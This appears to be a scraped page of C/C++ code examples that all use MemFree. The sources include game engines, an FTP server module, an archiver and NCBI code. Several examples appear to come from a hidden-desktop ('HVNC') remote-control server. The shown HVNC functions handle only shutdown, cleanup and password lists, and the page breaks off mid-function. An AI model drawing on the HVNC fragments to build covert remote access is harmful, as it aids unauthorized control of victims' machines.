Beispiel #1
0
void ScrollString( )
{
	ScrollStringStPtr pStringSt = pStringS;
	UINT32 suiTimer=0;
	UINT32 cnt;
  INT32 iNumberOfNewStrings = 0; // the count of new strings, so we can update position by WIDTH_BETWEEN_NEW_STRINGS pixels in the y
	INT32 iNumberOfMessagesOnQueue = 0;
	INT32 iMaxAge = 0;
	BOOLEAN fDitchLastMessage = FALSE;

	// UPDATE TIMER
	suiTimer=GetJA2Clock();

	// might have pop up text timer
	HandleLastQuotePopUpTimer( );

	if( guiCurrentScreen == MAP_SCREEN )
	{
		return;
	}

	// DONOT UPDATE IF WE ARE SCROLLING!
	if ( gfScrollPending || gfScrollInertia )
	{
		return;
	}

	// messages hidden
	if( fScrollMessagesHidden )
	{
		return;
	}

	iNumberOfMessagesOnQueue = GetMessageQueueSize( );
	iMaxAge =  MAX_AGE;

	if( ( iNumberOfMessagesOnQueue > 0 )&&( gpDisplayList[ MAX_LINE_COUNT - 1 ] != NULL) )
	{
		fDitchLastMessage = TRUE;
	}
	else
	{
		fDitchLastMessage = FALSE;

	}

	
	if( ( iNumberOfMessagesOnQueue * 1000 ) >= iMaxAge )
	{
		iNumberOfMessagesOnQueue = ( iMaxAge / 1000 );
	}
	else if( iNumberOfMessagesOnQueue < 0 )
	{
		iNumberOfMessagesOnQueue = 0;
	}
	
	//AGE
	for ( cnt = 0; cnt < MAX_LINE_COUNT; cnt++ )
	{
		if ( gpDisplayList[ cnt ] != NULL )
		{
			if( ( fDitchLastMessage ) && ( cnt == MAX_LINE_COUNT - 1 ) )
			{
				gpDisplayList[ cnt ]->uiTimeOfLastUpdate = iMaxAge;
			}
				// CHECK IF WE HAVE AGED
			if ( ( suiTimer - gpDisplayList[ cnt ]->uiTimeOfLastUpdate ) > ( UINT32 )( iMaxAge - ( 1000 * iNumberOfMessagesOnQueue ) ) ) 
			{
				// Remove our sorry ass
				RemoveStringVideoOverlay( gpDisplayList[ cnt ] );
				MemFree( gpDisplayList[ cnt ]->pString16);
				MemFree( gpDisplayList[ cnt ] );
			
				// Free slot
				gpDisplayList[ cnt ] = NULL;					
			}
		}
	}


	// CHECK FOR FREE SPOTS AND ADD ANY STRINGS IF WE HAVE SOME TO ADD!

	// FIRST CHECK IF WE HAVE ANY IN OUR QUEUE
	if ( pStringS != NULL )
	{
		// CHECK IF WE HAVE A SLOT!
		// CHECK OUR LAST SLOT!
		if ( gpDisplayList[ MAX_LINE_COUNT - 1 ] == NULL )
		{
			// MOVE ALL UP!
		 
		 // cpy, then move	
		 for( cnt = MAX_LINE_COUNT - 1; cnt > 0; cnt-- )
		 { 
				gpDisplayList[ cnt ] =  gpDisplayList[ cnt - 1 ];
		 }

			// now add in the new string
		 cnt = 0;
		 gpDisplayList[ cnt ] = pStringS;
		 CreateStringVideoOverlay( pStringS, X_START, Y_START );
		 if( pStringS -> fBeginningOfNewString == TRUE )
		 {
			 iNumberOfNewStrings++;
		 }

		 // set up age
		 pStringS->uiTimeOfLastUpdate = GetJA2Clock();
		 
		 // now move
		 for ( cnt = 0; cnt <= MAX_LINE_COUNT - 1; cnt++ )
		 {
			
				// Adjust position!
				if ( gpDisplayList[ cnt  ] != NULL )
				{
					
					SetStringVideoOverlayPosition( gpDisplayList[ cnt ], X_START, (INT16)( ( Y_START - ( ( cnt ) * GetFontHeight( SMALLFONT1 ) ) ) - ( INT16)( WIDTH_BETWEEN_NEW_STRINGS * ( iNumberOfNewStrings ) ) ) );
					
					// start of new string, increment count of new strings, for spacing purposes
					if( gpDisplayList[ cnt ] -> fBeginningOfNewString == TRUE )
					{
						iNumberOfNewStrings++;
					}						
				

				}

		 }

						 
		 // WE NOW HAVE A FREE SPACE, INSERT!
	 
		 // Adjust head!
		 pStringS = pStringS->pNext;
		 if( pStringS )
		 {
			 pStringS->pPrev = NULL;
		 }

		 //check if new meesage we have not seen since mapscreen..if so, beep
			if( ( fOkToBeepNewMessage == TRUE ) && ( gpDisplayList[ MAX_LINE_COUNT - 2 ] == NULL ) && ( ( guiCurrentScreen == GAME_SCREEN ) || ( guiCurrentScreen == MAP_SCREEN ) ) && ( gfFacePanelActive == FALSE ) )
			{
				PlayNewMessageSound( );
			}
		}
	}
}
Beispiel #2
0
static INT UserOpen(CHAR *userName, USERFILE *userFile)
{
    DB_CONTEXT *db;
    DWORD       result;
    MOD_CONTEXT *mod;

    ASSERT(userName != NULL);
    ASSERT(userFile != NULL);
    TRACE("userName=%s userFile=%p", userName, userFile);

    if (!DbAcquire(&db)) {
        // Return UM_DELETED instead of UM_ERROR to work around a bug in ioFTPD.
        return UM_DELETED;
    }

    // Module context is required for all file operations
    mod = MemAllocate(sizeof(MOD_CONTEXT));
    if (mod == NULL) {
        result = ERROR_NOT_ENOUGH_MEMORY;
        LOG_ERROR("Unable to allocate memory for module context.");

    } else {
        // Initialize MOD_CONTEXT structure
        mod->file            = INVALID_HANDLE_VALUE;
        userFile->lpInternal = mod;

        // Open user file
        result = FileUserOpen(userFile->Uid, userFile);
        if (result != ERROR_SUCCESS) {
            LOG_WARN("Unable to open user file for \"%s\" (error %lu).", userName, result);
        } else {

            // Read database record
            result = DbUserOpen(db, userName, userFile);
            if (result == ERROR_SUCCESS) {
                // Make sure we haven't wiped out the module context pointer
                ASSERT(userFile->lpInternal != NULL);

            } else {
                LOG_WARN("Unable to open user database record for \"%s\" (error %lu).", userName, result);

                // Clean-up user file
                FileUserClose(userFile);
            }
        }

        // Free module context if the file/database open failed
        if (result != ERROR_SUCCESS) {
            MemFree(mod);
        }
    }

    DbRelease(db);

    //
    // Return UM_DELETED instead of UM_ERROR to work around a bug in ioFTPD. If
    // UM_ERROR is returned, ioFTPD frees part of the USERFILE structure and
    // may crash later on (e.g. if someone issues "SITE USERS").
    //
    SetLastError(result);
    return (result == ERROR_SUCCESS) ? UM_SUCCESS : UM_DELETED;
}
Beispiel #3
0
/* DoRM - perform RM on a specified file */
void DoRM( const char *f )
{
    iolist              *fhead = NULL;
    iolist              *ftail = NULL;
    iolist              *tmp;

    iolist              *dhead = NULL;
    iolist              *dtail = NULL;

    char                *bo;
    char                fpath[_MAX_PATH];
    char                tmppath[_MAX_PATH];

    int                 i;
    int                 j;
    int                 k;
    int                 l;

    size_t              len;
    DIR                 *d;
    struct dirent       *nd;
    char                wild[_MAX_PATH];
    char                *err;
    void                *crx = NULL;

    /* get file path prefix */
    fpath[0] = 0;
    for( i = ( int ) strlen( f ); i >= 0; i-- ) {
        if( f[i] == ':' || f[i] == '\\' || f[i] == '/' ) {
            fpath[i + 1] = 0;
            for( j = i; j >= 0; j-- )
                fpath[j] = f[j];
            i = -1;
        }
    }
    d = OpenDirAll( f, wild );
    if( d == NULL ) {
        PrintALineThenDrop( "File (%s) not found.", f );
        if( !fflag ) {
            error_occured = 1;
        }
        return;
    }

    if( rxflag ) {
        err = FileMatchInit( &crx, wild );
        if( err != NULL )
            Die( "\"%s\": %s\n", err, wild );
    }

    k = ( int ) strlen( fpath );
    while( ( nd = readdir( d ) ) != NULL ) {
        FNameLower( nd->d_name );
        if( rxflag ) {
            if( !FileMatch( crx, nd->d_name ) )
                continue;
        } else {
            if( !FileMatchNoRx( nd->d_name, wild ) )
                continue;
        }
        /* set up file name, then try to delete it */
        l = ( int ) strlen( nd->d_name );
        bo = tmppath;
        for( i = 0; i < k; i++ )
            *bo++ = fpath[i];
        for( i = 0; i < l; i++ )
            *bo++ = nd->d_name[i];
        *bo = 0;
        if( nd->d_attr & _A_SUBDIR ) {
            /* process a directory */
            if( !IsDotOrDotDot( nd->d_name ) ) {
                if( rflag ) {
                    /* build directory list */
                    len = strlen( tmppath );
                    tmp = MemAlloc( sizeof( iolist ) + len );
                    if( dtail == NULL )
                        dhead = tmp;
                    else
                        dtail->next = tmp;
                    dtail = tmp;
                    memcpy( tmp->name, tmppath, len + 1 );
                } else {
                    PrintALineThenDrop( "%s is a directory, use -r", tmppath );
                    error_occured = 1;
                }
            }

        } else if( ( nd->d_attr & _A_RDONLY ) && !fflag ) {
            PrintALineThenDrop( "%s is read-only, use -f", tmppath );
            error_occured = 1;
        } else {
            /* build file list */
            len = strlen( tmppath );
            tmp = MemAlloc( sizeof( iolist ) + len );
            if( ftail == NULL )
                fhead = tmp;
            else
                ftail->next = tmp;
            ftail = tmp;
            memcpy( tmp->name, tmppath, len + 1 );
            tmp->attr = nd->d_attr;
        }
    }
    closedir( d );
    if( rxflag )
        FileMatchFini( crx );

    /* process any files found */
    tmp = fhead;
    if( tmp == NULL && !fflag ) {
        PrintALineThenDrop( "File (%s) not found.", f );
        error_occured = 1;
    }
    while( tmp != NULL ) {
        if( tmp->attr & _A_RDONLY )
            chmod( tmp->name, PMODE_RW );

        if( iflag ) {
            PrintALine( "Delete %s (y\\n)", tmp->name );
            while( ( i = tolower( getch() ) ) != 'y' && i != 'n' )
                ;
            DropALine();
            if( i == 'y' )
                remove( tmp->name );
        } else {
            if( !sflag )
                PrintALine( "Deleting file %s", tmp->name );
            remove( tmp->name );
        }

        ftail = tmp;
        tmp = tmp->next;
        MemFree( ftail );
    }

    /* process any directories found */
    if( rflag && ( tmp = dhead ) != NULL ) {
        while( tmp != NULL ) {
            RecursiveRM( tmp->name );
            dtail = tmp;
            tmp = tmp->next;
            MemFree( dtail );
        }
    }
}
Beispiel #4
0
extern "C" bool ArchAddFileW(HZIP hZip,WCHAR *pstrSourceFile,WCHAR *pstrDestFile)
{
    bool r=false;
    if ((hZip) && (((ZIPCOMPRESSION *)hZip)->bHandleType == HT_COMPRESSOR) && (pstrSourceFile) && (pstrDestFile))
    {
        int lDest,lSrc;

        if (((lDest=lstrlenW(pstrDestFile)) < MAX_PATH-1) && ((lSrc=lstrlenW(pstrSourceFile)) < MAX_PATH-1))
        {
            ZIPCOMPRESSION *p=(ZIPCOMPRESSION *)hZip;
            char *file=UnicodeToOemEx(pstrDestFile,lDest);

            if (file)
            {
                void *buf=_alloc(INT_BUF_SIZE);
                if (buf)
                {
                    p->bInMem=false;
                    zip_fileinfo zi={0};
                    filetime(pstrSourceFile,&zi.tmz_date,&zi.dosDate);
                    char *lpPassword=NULL;
                    unsigned long crcFile=0;
                    if (p->bEncrypted)
                    {
                        getFileCrc(pstrSourceFile,buf,INT_BUF_SIZE,&crcFile);
                        lpPassword=p->szPassword;
                    }
                    int err=zipOpenNewFileInZip3_64(p->hZip,file,&zi,NULL,0,NULL,0,NULL,(p->dwCompLevel>0) ? Z_DEFLATED:0,p->dwCompLevel,0,-MAX_WBITS,DEF_MEM_LEVEL,Z_DEFAULT_STRATEGY,lpPassword,crcFile,0);
                    if (err == ZIP_OK)
                    {
                        HANDLE fin=CreateFileW(pstrSourceFile,GENERIC_READ,0,NULL,OPEN_EXISTING,0,NULL);
                        if (fin != INVALID_HANDLE_VALUE)
                        {
                            unsigned long size_read = 0;
                            do
                            {
                                err=ZIP_OK;
                                ReadFile(fin,buf,INT_BUF_SIZE,&size_read,0);

                                if (size_read < INT_BUF_SIZE)
                                {
                                    if (!_feof(fin))
                                        err=ZIP_ERRNO;
                                }

                                if (size_read>0)
                                    err=zipWriteInFileInZip(p->hZip,buf,size_read);
                            }
                            while ((err == ZIP_OK) && (size_read>0));
                            SysCloseHandle(fin);

                            if (err<0)
                                err=ZIP_ERRNO;
                            else
                            {
                                err=zipCloseFileInZip(p->hZip);
                                r=true;
                            }
                        }
                    }
                    MemFree(buf);
                }
            }

            MemFree(file);
        }
    }
    else
        ArchSetLastError(ARCH_INVALID_PARAMETER);
    return r;
}
Beispiel #5
0
ALERROR CDataFile::OpenInt (void)

//	OpenInt
//
//	Continues opening after the file or resource is open

	{
	ALERROR error;
	int i;
	bool bHeaderModified = false;
	bool bEntryTableModified = false;

	//	Read the file header

	HEADERSTRUCT header;
	if (error = ReadBuffer(0, sizeof(header), &header))
		return ERR_FILEOPEN;

	//	If the signature is not right, bail

	if (header.dwSignature != DATAFILE_SIGNATURE)
		return ERR_FILEOPEN;

	//	If the version is not right, bail

	if (header.dwVersion > DATAFILE_VERSION)
		return ERR_FILEOPEN;

	//	Store header info

	m_iBlockSize = (int)header.dwBlockSize;
	m_iBlockCount = (int)header.dwBlockCount;
	m_iDefaultEntry = (int)header.dwDefaultEntry;

	//	Allocate an entry table of the appropriate size

	ASSERT(m_pEntryTable == NULL);
	m_iEntryTableCount = (int)header.dwEntryTableCount;
	if (header.dwVersion >= 2)
		{
		int iEntryTableSize = header.dwEntryTableCount * sizeof(ENTRYSTRUCT);
		m_pEntryTable = (PENTRYSTRUCT)MemAlloc(iEntryTableSize);
		if (m_pEntryTable == NULL)
			return ERR_MEMORY;

		//	Read the entry table

		if (error = ReadBuffer(header.dwEntryTablePos, iEntryTableSize, m_pEntryTable))
			{
			MemFree(m_pEntryTable);
			m_pEntryTable = NULL;
			return ERR_FILEOPEN;
			}
		}
	else
		{
		int iEntryTableSize = header.dwEntryTableCount * sizeof(SEntryV1);
		SEntryV1 *pOldEntryTable = (SEntryV1 *)new char [iEntryTableSize];
		if (pOldEntryTable == NULL)
			return ERR_MEMORY;

		//	Read the old table

		if (error = ReadBuffer(header.dwEntryTablePos, iEntryTableSize, pOldEntryTable))
			{
			delete pOldEntryTable;
			return ERR_FILEOPEN;
			}

		//	Convert to new format

		m_pEntryTable = (PENTRYSTRUCT)MemAlloc(header.dwEntryTableCount * sizeof(ENTRYSTRUCT));
		if (m_pEntryTable == NULL)
			return ERR_MEMORY;

		for (i = 0; i < (int)header.dwEntryTableCount; i++)
			{
			m_pEntryTable[i].dwBlock = pOldEntryTable[i].dwBlock;
			m_pEntryTable[i].dwBlockCount = pOldEntryTable[i].dwBlockCount;
			m_pEntryTable[i].dwSize = pOldEntryTable[i].dwSize;
			m_pEntryTable[i].dwFlags = pOldEntryTable[i].dwFlags;

			m_pEntryTable[i].dwVersion = 1;
			m_pEntryTable[i].dwPrevEntry = (DWORD)INVALID_ENTRY;
			m_pEntryTable[i].dwLatestEntry = (DWORD)INVALID_ENTRY;
			}

		//	Done

		delete pOldEntryTable;

		//	New version

		header.dwVersion = DATAFILE_VERSION;
		bHeaderModified = true;
		bEntryTableModified = true;
		}

	//	Reset modification flags

	m_fHeaderModified = (bHeaderModified ? TRUE : FALSE);
	m_fEntryTableModified = (bEntryTableModified ? TRUE : FALSE);

	return NOERROR;
	}
Beispiel #6
0
/////////////////////////////////////
// Name:	
// Purpose:	
// Output:	
// Return:	
/////////////////////////////////////
IgfxQBSP::~IgfxQBSP()
{
	u32 i;

	GFXDestroyVtxBuff(m_vtx);

	if(m_faces)
	{
		//destroy the patches
		for(i = 0; i < m_numFaces; i++)
			QBSPPatchDestroy(m_faces[i].patch);
		
		MemFree(m_faces);
	}

	if(m_textures)
	{
		//release all textures
		for(i = 0; i < m_numTxt; i++)
		{
			SAFE_RELEASE(m_textures[i].fx);
			SAFE_RELEASE(m_textures[i].texture);
		}

		MemFree(m_textures);
	}

	if(m_lightmaps)
	{
		//release all textures
		for(u32 i = 0; i < m_numLightMap; i++)
			SAFE_RELEASE(m_lightmaps[i]);

		MemFree(m_lightmaps);
	}

	if(m_nodes)
		MemFree(m_nodes);

	if(m_leaves)
	{
		MemFree(m_leaves);
	}

	if(m_leafFaces)
		MemFree(m_leafFaces);

	if(m_planes)
		MemFree(m_planes);

	if(m_clusters.pBitsets)
		MemFree(m_clusters.pBitsets);

	if(m_clustersPHS.pBitsets)
		MemFree(m_clustersPHS.pBitsets);

	SAFE_RELEASE(m_meshIndBuff);
	
	if(m_models)
	{
		for(u32 i = 1; i < m_numModels; i++)
		{
			if(m_models[i].brushes)
			{
				for(s32 j = 0; j < m_models[i].numOfBrushes; j++)
				{
					if(m_models[i].brushes[j].planes)
						MemFree(m_models[i].brushes[j].planes);

					if(m_models[i].brushes[j].tPlanes)
						MemFree(m_models[i].brushes[j].tPlanes);

					if(m_models[i].brushes[j].txtID)
						MemFree(m_models[i].brushes[j].txtID);
				}

				MemFree(m_models[i].brushes);
			}
		}

		MemFree(m_models);
	}

	if(m_brushes)
		MemFree(m_brushes);

	if(m_brushVis)
		MemFree(m_brushVis);

	if(m_leafBrushes)
		MemFree(m_leafBrushes);

	if(m_brushSides)
		MemFree(m_brushSides);

	//destroy default fxs
	SAFE_RELEASE(m_dfltFX);

	//destroy decals
	ClearDecals();

	//destroy shadow informations
	if(m_shVtxBuff)
		MemFree(m_shVtxBuff);

	if(m_shIndBuff)
		MemFree(m_shIndBuff);
}
Beispiel #7
0
static void GetThisBioseq (XOSPtr xosp)
{
  GatherScopePtr  gsp;
  CharPtr         asnseqentfile;
  Int4            gi;
  AsnIoPtr        aiop;
  Boolean         flagHaveNet;
  SeqEntryPtr     sep;

  gsp = xosp->gsp;

  aiop = NULL;
  asnseqentfile = xosp->filename;
  gi = xosp->gi;
  xosp->sep = SeqEntryFree (xosp->sep);

  if (gi > 0)
  {
    if (!EntrezInit ("twopv", FALSE, &flagHaveNet))
    {
      ErrPostEx (SEV_ERROR, TOP_ERROR, 102,
                 "Entrez init failed");
      ErrShow ();
      return;
    }
  }

  if (gi > 0)
  {
    sep = EntrezSeqEntryGet (gi, SEQENTRY_READ_BIOSEQ);
  }
  else if (asnseqentfile != NULL)
  {
    if ((aiop = AsnIoOpen (asnseqentfile, "r")) == NULL)
    {
      Message (MSG_ERROR, "Failed to open: %s", asnseqentfile);
    }
    sep = SeqEntryAsnRead (aiop, NULL);
  }
  else
  {
    sep = NULL;
  }

  if (sep == NULL)
  {
    ErrPostEx (SEV_ERROR, TOP_ERROR, 104,
               "No SeqEntry");
    ErrShow ();
  }
  else
  {
    xosp->sep = sep;
    xosp->bsp = NULL;
    xosp->gi = gi;
    GatherSeqEntry (sep, (Pointer) xosp, GetBioseq, (Pointer) gsp);
  }

  if (gi > 0)
    EntrezFini ();
  else
    AsnIoClose (aiop);

  if (xosp->bsp != NULL)
  {
    if (!ISA_na (xosp->bsp->mol))
    {
      xosp->sep = SeqEntryFree (xosp->sep);
      xosp->bsp = NULL;
      xosp->filename = (CharPtr) MemFree (xosp->filename);
      xosp->gi = 0;
      ErrPostEx (SEV_ERROR, TOP_ERROR, 101, "Not nucleic acid Bioseq");
      ErrShow ();
    }
  }
  else
  {
    xosp->sep = SeqEntryFree (xosp->sep);
    xosp->filename = (CharPtr) MemFree (xosp->filename);
    xosp->gi = 0;
    ErrPostEx (SEV_ERROR, TOP_ERROR, 101, "No Bioseq");
    ErrShow ();
  }
  return;
}
Beispiel #8
0
void VNCStopServer(HVNC hVNC,DWORD dwFlags)
{
    if (!bHVNCInit)
        return;

    HVNC_HANDLE *lpHandle=VNCGetHandleInformation(hVNC);
    if (!lpHandle)
        return;

    PHVNC lpServer=lpHandle->lpServer;
    if (!lpServer)
        return;

    EnterCriticalSection(&csHVNC);
    {
        if (!lpServer->bStopped)
        {
            if (lpServer->rfbScreen)
            {
                if (!(lpServer->DeskInfo.dwFlags & HVNC_NO_INJECTS))
                {
                    UnmapViewOfFile(lpServer->lpSharedMemMapping);
                    SysCloseHandle(lpServer->hSharedMemMapping);
                    lpServer->lpSharedMemMapping=NULL;
                }
                rfbScreenInfoPtr rfbScreen=lpServer->rfbScreen;
                lpServer->bActive=false;
                SetEvent(lpServer->EventsInfo.hVNCKillEvent);
                WaitThreadsDeath(lpServer);
                rfbShutdownServer(rfbScreen,TRUE);
                lpServer->bUpdateThreadStarted=false;
                if (rfbScreen->authPasswdData)
                {
                    PASSWORD_ITEM **lppPasswords=(PASSWORD_ITEM **)rfbScreen->authPasswdData;
                    for (int i=0; lppPasswords[i]; i++)
                        MemFree(lppPasswords[i]);
                    MemFree(lppPasswords);
                    rfbScreen->authPasswdData=NULL;
                }
                VirtualFree(rfbScreen->frameBuffer,0,MEM_DECOMMIT);
                rfbScreenCleanup(rfbScreen);
                lpServer->rfbScreen=NULL;

                if (lpServer->TaskSwitcherInfo.bTaskSwitcherIsShown)
                    DestroyTaskSwitcherWnd(lpServer,false);

                if (lpServer->WndWatcherInfo.lpZOrderList)
                {
                    Z_ORDER_LIST_ITEM *lpItem=lpServer->WndWatcherInfo.lpZOrderList;
                    while (lpItem)
                    {
                        Z_ORDER_LIST_ITEM *lpPrev=lpItem;
                        lpItem=lpItem->lpNext;
                        MemFree(lpPrev);
                    }
                    lpServer->WndWatcherInfo.lpZOrderList=NULL;
                    StopWatcher(lpServer);
                }

                if (lpServer->DIBInfo.lpChecksums)
                {
                    VirtualFree(lpServer->DIBInfo.lpChecksums,0,MEM_DECOMMIT);
                    lpServer->DIBInfo.lpChecksums=NULL;
                }

                if (lpServer->DIBInfo.hIntermedMemDC)
                {
                    SelectObject(lpServer->DIBInfo.hIntermedMemDC,lpServer->DIBInfo.hIntermedOldBitmap);
                    DeleteObject(lpServer->DIBInfo.hIntermedMemBitmap);
                    DeleteDC(lpServer->DIBInfo.hIntermedMemDC);
                    lpServer->DIBInfo.hIntermedMemDC=NULL;
                }
                if (lpServer->DIBInfo.hCompDC)
                {
                    SelectObject(lpServer->DIBInfo.hCompDC,lpServer->DIBInfo.hOldBitmap);
                    DeleteObject(lpServer->DIBInfo.hBitmap);
                    DeleteDC(lpServer->DIBInfo.hCompDC);
                    lpServer->DIBInfo.hCompDC=NULL;
                }
                if (lpServer->DIBInfo.hTmpCompDC)
                {
                    SelectObject(lpServer->DIBInfo.hTmpCompDC,lpServer->DIBInfo.hTmpOldBitmap);
                    DeleteObject(lpServer->DIBInfo.hTmpBitmap);
                    DeleteDC(lpServer->DIBInfo.hTmpCompDC);
                    lpServer->DIBInfo.hTmpCompDC=NULL;
                }
                ReleaseDC(NULL,lpServer->DIBInfo.hDC);
            }

            lpServer->EventsInfo.dwClients=0;
            if (lpServer->hDesktop)
            {
                CloseDesktop(lpServer->hDesktop);
                lpServer->hDesktop=NULL;
            }
            lpServer->dwExplorersPID=0;
            lpServer->bStopped=true;
        }
    }
    LeaveCriticalSection(&csHVNC);
    return;
}
Beispiel #9
0
void VNCSetNewPasswordsList(HVNC hVNC,bool bDisconnectLoggedUsers,PASSWORDS_LIST *lpPasswordsList)
{
    HVNC_HANDLE *lpHandle=VNCGetHandleInformation(hVNC);
    if ((!lpHandle) || (!lpHandle->lpServer))
        return;

    PHVNC lpServer=lpHandle->lpServer;
    rfbScreenInfoPtr rfbScreen=lpServer->rfbScreen;

    bool bReplaceList=false;
    if (rfbScreen->authPasswdData)
    {
        if ((lpPasswordsList) && (lpPasswordsList->dwPasswordsCount))
        {
            PASSWORD_ITEM **lppPasswords=(PASSWORD_ITEM **)rfbScreen->authPasswdData;
            for (int i=0; i < lpPasswordsList->dwPasswordsCount; i++)
            {
                for (int j=0; lppPasswords[j]; j++)
                {
                    if (!lstrcmpA(lpPasswordsList->piPasswords[i].szPassword,lppPasswords[j]->szPassword))
                    {
                        if (lppPasswords[j]->dwFlags == lpPasswordsList->piPasswords[i].dwFlags)
                            lppPasswords[j]->dwFlags=-1;
                    }
                }
            }
            bReplaceList=true;
        }
        else
            rfbScreen->newClientHook=OnNewClient;

        PASSWORD_ITEM **lppPasswords=(PASSWORD_ITEM **)rfbScreen->authPasswdData;
        for (int i=0; lppPasswords[i]; i++)
        {
            if (lppPasswords[i]->dwFlags != -1)
            {
                if (bDisconnectLoggedUsers)
                    DisconnectUser(lpServer,lppPasswords[i]);
            }
            MemFree(lppPasswords[i]);
        }
        MemFree(lppPasswords);
        rfbScreen->authPasswdData=NULL;
    }
    else if ((lpPasswordsList) && (lpPasswordsList->dwPasswordsCount))
    {
        if (bDisconnectLoggedUsers)
            DisconnectUser(lpServer,NULL);
        bReplaceList=true;
        rfbScreen->passwordCheck=OnNewClientAuth;
    }

    if (bReplaceList)
    {
        DWORD dwPasswordsCount=lpPasswordsList->dwPasswordsCount;
        PASSWORD_ITEM **lppPasswords=(PASSWORD_ITEM **)MemAlloc((dwPasswordsCount+1)*sizeof(PASSWORD_ITEM *));

        for (DWORD i=0; i < dwPasswordsCount; i++)
        {
            lppPasswords[i]=(PASSWORD_ITEM*)MemAlloc(sizeof(PASSWORD_ITEM));
            lppPasswords[i]->dwFlags=lpPasswordsList->piPasswords[i].dwFlags;
            lstrcpyA(lppPasswords[i]->szPassword,lpPasswordsList->piPasswords[i].szPassword);
        }
        rfbScreen->authPasswdData=lppPasswords;
    }

    return;
}
Beispiel #10
0
Common::Error loadSavegameData(int saveGameIdx) {
	Common::String saveName;
	cellStruct *currentcellHead;

	Common::SaveFileManager *saveMan = g_system->getSavefileManager();
	Common::InSaveFile *f = saveMan->openForLoading(_vm->getSavegameFile(saveGameIdx));

	if (f == NULL) {
		printInfoBlackBox("Savegame not found...");
		waitForPlayerInput();
		return Common::kNoGameDataFoundError;
	}

	printInfoBlackBox("Loading in progress...");

	initVars();
	_vm->sound().stopMusic();

	// Skip over the savegame header
	CruiseSavegameHeader header;
	if (!readSavegameHeader(f, header)) {
		delete f;
		return Common::kReadingFailed;
	}

	// Synchronise the remaining data of the savegame
	Common::Serializer s(f, NULL);
	DoSync(s);

	delete f;

	// Post processing

	for (int j = 0; j < 64; j++)
		preloadData[j].ptr = NULL;

	for (int j = 1; j < numOfLoadedOverlay; j++) {
		if (overlayTable[j].alreadyLoaded) {
			overlayTable[j].alreadyLoaded = 0;
			loadOverlay(overlayTable[j].overlayName);

			if (overlayTable[j].alreadyLoaded) {
				ovlDataStruct *ovlData = overlayTable[j].ovlData;

				// overlay BSS

				if (ovlRestoreData[j]._sBssSize) {
					if (ovlData->data4Ptr) {
						MemFree(ovlData->data4Ptr);
					}

					ovlData->data4Ptr = ovlRestoreData[j]._pBss;
					ovlData->sizeOfData4 = ovlRestoreData[j]._sBssSize;
				}

				// overlay object data

				if (ovlRestoreData[j]._sNumObj) {
					if (ovlData->arrayObjVar) {
						MemFree(ovlData->arrayObjVar);
					}

					ovlData->arrayObjVar = ovlRestoreData[j]._pObj;
					ovlData->size9 = ovlRestoreData[j]._sNumObj;
				}

			}
		}
	}

	updateAllScriptsImports();

	lastAni[0] = 0;

	for (int i = 0; i < NUM_FILE_ENTRIES; i++) {
		if (filesDatabase[i].subData.ptr) {
			int j = i + 1;
			for (; j < NUM_FILE_ENTRIES &&
			        filesDatabase[j].subData.ptr &&
			        !strcmp(filesDatabase[i].subData.name, filesDatabase[j].subData.name) &&
			        (filesDatabase[j].subData.index == (j - i));
			        j++)
				;

			for (int k = i; k < j; k++) {
				filesDatabase[k].subData.ptr = NULL;
				filesDatabase[k].subData.ptrMask = NULL;
			}

			/*if (j < 2) {
				error("Unsupported mono file load");
				//loadFileMode1(filesDatabase[j].subData.name,filesDatabase[j].subData.var4);
			} else */
			if (strlen(filesDatabase[i].subData.name) > 0) {
				loadFileRange(filesDatabase[i].subData.name, filesDatabase[i].subData.index, i, j - i);
			} else {
				filesDatabase[i].subData.ptr = NULL;
				filesDatabase[i].subData.ptrMask = NULL;
			}

			i = j - 1;
		}
	}

	lastAni[0] = 0;

	currentcellHead = cellHead.next;

	while (currentcellHead) {
		if (currentcellHead->type == 5) {
			assert(0);
#if 0
			uint8 *ptr = mainProc14(currentcellHead->overlay, currentcellHead->idx);
			if (ptr)
				*(int16 *)(currentcellHead->datas+0x2E) = getSprite(ptr,*(int16 *)(currentcellHead->datas+0xE));
			else
				*(int16 *)(currentcellHead->datas+0x2E) = 0;
#endif
		}

		currentcellHead = currentcellHead->next;
	}

	if (strlen(currentCtpName)) {
		loadCtFromSave = 1;
		initCt(currentCtpName);
		loadCtFromSave = 0;
	}
	//prepareFadeOut();
	//gfxModuleData.gfxFunction8();

	for (int j = 0; j < 8; j++) {
		if (strlen((char *)backgroundTable[j].name)) {
			loadBackground(backgroundTable[j].name, j);
		}
	}

	regenerateBackgroundIncrust(&backgroundIncrustHead);

	// to finish

	changeCursor(CURSOR_NORMAL);
	mainDraw(true);
	flipScreen();

	return Common::kNoError;
}
Beispiel #11
0
void VNCCloseHandle(HVNC hVNC)
{
    HVNC_HANDLE *lpHandle=VNCGetHandleInformation(hVNC);
    if (lpHandle)
    {
        if (lpHandle->lpServer->rfbScreen)
            VNCStopServer(hVNC,HVNCSF_DESTOYSLOLENWNDS);

        PHVNC lpServer;
        EnterCriticalSection(&csHVNC);
        {
            lpServer=lpHandle->lpServer;

            HVNC_HANDLE *lpPrev=lpHandle->lpPrev,
                        *lpNext=lpHandle->lpNext;
            if (lpPrev)
                lpPrev->lpNext=lpNext;
            else
                lpHandles=lpNext;
            if (lpNext)
                lpNext->lpPrev=lpPrev;
            MemFree(lpHandle);
        }
        LeaveCriticalSection(&csHVNC);

        DeleteCriticalSection(&lpServer->WndWatcherInfo.csWndsList);
        DeleteCriticalSection(&lpServer->ThreadsInfo.csThreads);

        if (!(lpServer->DeskInfo.dwFlags & HVNC_NO_INJECTS))
        {
            WaitForSingleObject(hHandlesMutex,INFINITE);
                for (int i=0; i < HVNC_MAX_HANDLES; i++)
                {
                    if (lpHandlesMapping[i] == lpServer->Names.dwHash)
                    {
                        for (int j=i+1; j < HVNC_MAX_HANDLES; j++)
                        {
                            lpHandlesMapping[j-1]=lpHandlesMapping[j];
                            if (!lpHandlesMapping[j])
                                break;
                        }
                        break;
                    }
                }
            ReleaseMutex(hHandlesMutex);
        }
        UnmapViewOfFile(lpServer->lpGlobalVNCData);
        SysCloseHandle(lpServer->hGlobalVNCMapping);

        SysCloseHandle(lpServer->EventsInfo.hVNCKillEvent);
        SysCloseHandle(lpServer->EventsInfo.hSharedMemMutex);
        SysCloseHandle(lpServer->EventsInfo.hInputMutex);
        SysCloseHandle(lpServer->EventsInfo.hPaintMutex);
        SysCloseHandle(lpServer->EventsInfo.hClipboardUpdatedEvent);
        SysCloseHandle(lpServer->EventsInfo.hSendThreadMessageMutex);
        SysCloseHandle(lpServer->EventsInfo.hSendThreadMessageEvent);

